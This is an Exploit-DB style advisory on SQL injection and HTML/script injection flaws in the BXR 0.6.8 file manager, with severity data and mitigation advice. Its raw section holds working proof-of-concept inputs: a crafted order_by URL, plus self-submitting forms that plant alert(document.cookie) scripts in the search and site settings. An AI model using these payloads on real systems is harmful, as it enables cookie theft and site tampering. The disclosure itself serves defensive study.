Hulihan Applications BXR SQL and HTML Injection Vulnerabilities

vendor:

BXR File Management System

by:

7.5

CVSS

HIGH

SQL Injection, HTML Injection

89, 79

CWE

Product Name: BXR File Management System

Affected Version From: BXR 0.6.8

Affected Version To: Other versions may also be affected

Patch Exists:

Related CWE:

CPE:

Metasploit:

Other Scripts:

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Hulihan Applications BXR SQL and HTML Injection Vulnerabilities

Hulihan Applications BXR is prone to an SQL-injection vulnerability and multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input. An attacker may leverage these issues to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks.

Mitigation:

To mitigate these vulnerabilities, it is recommended to implement proper input validation and sanitization techniques to prevent SQL injection and HTML injection attacks. Additionally, developers should use parameterized queries or prepared statements to interact with the database to prevent SQL injection attacks. HTML content should be properly encoded or escaped to prevent HTML injection attacks.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/42247/info

Hulihan Applications BXR is prone to an SQL-injection vulnerability and multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks.

Hulihan Applications BXR 0.6.8 is vulnerable; other versions may also be affected.

http://www.example.com/folder/list?order_by=filesize&#039;+SQL


<form action="http://host/search/show_results" method="post" name="main" >

<input type="hidden" name="search_type" value="filename" />
<input type="hidden" name="search[query]" value=&#039;1"><script>alert(document.cookie)</script>&#039; />
<input type="hidden" name="commit" value="Find!" />

</form>
<script>
document.main.submit();
</script>


mytagname"><script>alert(document.cookie)</script>


<form action="http://host/settings/update_settings" method="post" name="main" >

<input type="hidden" name="setting[site_title]" value=&#039;BXR File Management System"><script>alert(document.cookie)</script>&#039; />
<input type="hidden" name="setting[site_keywords]" value="BXR, Open Source File Management System" />
<input type="hidden" name="setting[site_description]" value="The Free, Open Source, Ruby on Rails File Management System." />
<input type="hidden" name="setting[let_users_change_default_folder]" value="0" />
<input type="hidden" name="setting[use_ferret]" value="0" />
<input type="hidden" name="setting[overwrite_existing_files]" value="0" />
<input type="hidden" name="commit" value="Update Settings" />

</form>
<script>
document.main.submit();
</script>